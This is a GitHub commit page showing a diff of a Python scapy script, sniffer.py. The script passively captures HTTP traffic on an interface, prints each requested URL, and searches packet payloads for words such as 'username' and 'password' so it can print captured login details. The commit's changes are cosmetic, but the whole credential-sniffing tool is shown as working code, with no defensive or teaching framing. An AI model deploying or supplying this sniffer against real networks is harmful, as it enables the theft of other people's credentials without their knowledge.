Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit ed60b32

Browse files
Update sniffer.py
1 parent 47b3678 commit ed60b32

File tree

1 file changed

+8
-14
lines changed

1 file changed

+8
-14
lines changed

‎SNIFFER/sniffer.py

Lines changed: 8 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,38 +1,32 @@
11
import scapy.all as scapy
2-
from scapy.layers import http
2+
from scapy.layers import http
33
# from scapy_http import http
44

5-
def get_url(packet):
6-
#for detecting urls
5+
def get_url(packet):
6+
#for detecting urls
77
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
88

9-
109
def sniff(interface):
1110
#prn it will excute a function which we will give it after capturing packet
1211
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
13-
14-
12+
1513
def get_login_info(packet):
16-
if packet.haslayer(scapy.Raw):
17-
#finding and printing Raw layer
14+
if packet.haslayer(scapy.Raw):
15+
#finding and printing Raw layer
1816
# print(packet[scapy.Raw].load)
1917
load = packet[scapy.Raw].load
2018
keywords=["username", "user", "login" ,"password", "pass"]
2119
for keyword in keywords:
2220
if keyword in load:
2321
return load
24-
25-
26-
22+
2723
def process_sniffed_packet(packet):
2824
if packet.haslayer(http.HTTPRequest):
2925
url = get_url(packet)
30-
print("[+] HTTP REQUEST >> \n"+url)
31-
26+
print("[+] HTTP REQUEST >> \n"+url)
3227
login_info=get_login_info(packet)
3328
if login_info:
3429
print("\n\n[+] possible username/password >>"+login_info+"\n\n")
3530

36-
3731
#----interfaceon which you want to sniff
3832
sniff("eth0")

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /